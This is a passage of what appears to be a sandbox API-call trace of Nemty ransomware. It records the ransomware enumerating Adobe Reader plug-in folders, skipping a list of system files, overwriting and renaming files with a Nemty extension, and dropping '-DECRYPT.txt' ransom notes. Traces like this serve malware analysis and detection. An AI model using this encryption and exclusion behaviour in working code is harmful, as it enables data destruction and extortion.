10.0\\reader\\plug_ins\\multimedia\\mpp_sky\\windowsmedia.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0192.378] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0192.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0192.378] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.378] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0192.380] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.380] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0192.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0192.380] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0192.380] WriteFile (in: hFile=0x2f0, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0192.380] CloseHandle (hObject=0x2f0) returned 1 [0192.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340328 [0192.380] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0192.380] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0192.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0192.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63403f0 [0192.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63404b8 [0192.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0192.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0192.380] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\WindowsMedia.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_sky\\windowsmedia.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\WindowsMedia.SKY._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_sky\\windowsmedia.sky._nemty_kgobjgd_")) returned 1 [0192.381] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404b8 | out: hHeap=0x4f90000) returned 1 [0192.381] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0192.381] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0192.381] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.381] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.381] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.381] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.381] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0192.381] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.381] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.381] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x263370b0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x263370b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2635d210, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0192.381] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0192.381] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0192.381] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0192.381] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0192.381] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0192.381] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0192.381] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0192.381] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0192.381] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0192.381] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0192.381] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0192.382] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0192.382] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0192.382] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0192.382] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0192.382] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0192.382] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0192.382] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0192.382] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0192.382] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0192.382] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0192.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.382] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0192.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.382] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0192.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0192.382] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0192.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.382] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0192.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0192.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.382] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0192.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.382] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0192.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.382] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0192.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.382] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0192.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340328 [0192.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0192.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.383] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x263370b0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x263370b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2635d210, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0192.383] FindClose (in: hFindFile=0x3423af0 | out: hFindFile=0x3423af0) returned 1 [0192.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0192.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0192.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0192.383] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_SLV", cAlternateFileName="")) returned 1 [0192.383] lstrcmpiW (lpString1="MPP_SLV", lpString2=".") returned 1 [0192.383] lstrcmpiW (lpString1="MPP_SLV", lpString2="..") returned 1 [0192.383] lstrcmpiW (lpString1="MPP_SLV", lpString2="...") returned 1 [0192.383] lstrcmpiW (lpString1="MPP_SLV", lpString2="windows") returned -1 [0192.383] lstrcmpiW (lpString1="MPP_SLV", lpString2="$RECYCLE.BIN") returned 1 [0192.383] lstrcmpiW (lpString1="MPP_SLV", lpString2="rsa") returned -1 [0192.383] lstrcmpiW (lpString1="MPP_SLV", lpString2="NTDETECT.COM") returned -1 [0192.383] lstrcmpiW (lpString1="MPP_SLV", lpString2="ntldr") returned -1 [0192.383] lstrcmpiW (lpString1="MPP_SLV", lpString2="MSDOS.SYS") returned -1 [0192.383] lstrcmpiW (lpString1="MPP_SLV", lpString2="IO.SYS") returned 1 [0192.383] lstrcmpiW (lpString1="MPP_SLV", lpString2="boot.ini") returned 1 [0192.383] lstrcmpiW (lpString1="MPP_SLV", lpString2="boot.ini") returned 1 [0192.383] lstrcmpiW (lpString1="MPP_SLV", lpString2="AUTOEXEC.BAT") returned 1 [0192.383] lstrcmpiW (lpString1="MPP_SLV", lpString2="ntuser.dat") returned -1 [0192.383] lstrcmpiW (lpString1="MPP_SLV", lpString2="desktop.ini") returned 1 [0192.383] lstrcmpiW (lpString1="MPP_SLV", lpString2="CONFIG.SYS") returned 1 [0192.383] lstrcmpiW (lpString1="MPP_SLV", lpString2="RECYCLER") returned -1 [0192.383] lstrcmpiW (lpString1="MPP_SLV", lpString2="BOOTSECT.BAK") returned 1 [0192.383] lstrcmpiW (lpString1="MPP_SLV", lpString2="bootmgr") returned 1 [0192.383] lstrcmpiW (lpString1="MPP_SLV", lpString2="programdata") returned -1 [0192.383] lstrcmpiW (lpString1="MPP_SLV", lpString2="appdata") returned 1 [0192.383] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MPP_SLV", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0192.383] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MPP_SLV", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MPP_SLV", lpUsedDefaultChar=0x0) returned 7 [0192.383] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MPP_SLV", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0192.383] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MPP_SLV", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MPP_SLV", lpUsedDefaultChar=0x0) returned 7 [0192.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0192.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0192.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0192.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0192.384] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.384] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400f0 [0192.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63401b8 [0192.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0192.384] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_slv\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0192.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0192.388] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.388] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0192.388] CloseHandle (hObject=0x2e8) returned 1 [0192.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0192.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0192.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0192.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0192.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0192.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0192.389] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.389] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340240 [0192.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340308 [0192.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0192.389] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_slv\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0192.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0192.390] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.390] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0192.391] CloseHandle (hObject=0x2e8) returned 1 [0192.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0192.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0192.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0192.391] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\*.*", lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x26500130, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x26500130, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423af0 [0192.391] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0192.391] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x26500130, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x26500130, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0192.391] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0192.391] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0192.391] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Flash.SLV", cAlternateFileName="")) returned 1 [0192.391] lstrcmpiW (lpString1="Flash.SLV", lpString2=".") returned 1 [0192.391] lstrcmpiW (lpString1="Flash.SLV", lpString2="..") returned 1 [0192.391] lstrcmpiW (lpString1="Flash.SLV", lpString2="...") returned 1 [0192.391] lstrcmpiW (lpString1="Flash.SLV", lpString2="windows") returned -1 [0192.391] lstrcmpiW (lpString1="Flash.SLV", lpString2="$RECYCLE.BIN") returned 1 [0192.391] lstrcmpiW (lpString1="Flash.SLV", lpString2="rsa") returned -1 [0192.391] lstrcmpiW (lpString1="Flash.SLV", lpString2="NTDETECT.COM") returned -1 [0192.391] lstrcmpiW (lpString1="Flash.SLV", lpString2="ntldr") returned -1 [0192.391] lstrcmpiW (lpString1="Flash.SLV", lpString2="MSDOS.SYS") returned -1 [0192.391] lstrcmpiW (lpString1="Flash.SLV", lpString2="IO.SYS") returned -1 [0192.391] lstrcmpiW (lpString1="Flash.SLV", lpString2="boot.ini") returned 1 [0192.391] lstrcmpiW (lpString1="Flash.SLV", lpString2="boot.ini") returned 1 [0192.391] lstrcmpiW (lpString1="Flash.SLV", lpString2="AUTOEXEC.BAT") returned 1 [0192.392] lstrcmpiW (lpString1="Flash.SLV", lpString2="ntuser.dat") returned -1 [0192.392] lstrcmpiW (lpString1="Flash.SLV", lpString2="desktop.ini") returned 1 [0192.392] lstrcmpiW (lpString1="Flash.SLV", lpString2="CONFIG.SYS") returned 1 [0192.392] lstrcmpiW (lpString1="Flash.SLV", lpString2="RECYCLER") returned -1 [0192.392] lstrcmpiW (lpString1="Flash.SLV", lpString2="BOOTSECT.BAK") returned 1 [0192.392] lstrcmpiW (lpString1="Flash.SLV", lpString2="bootmgr") returned 1 [0192.392] lstrcmpiW (lpString1="Flash.SLV", lpString2="programdata") 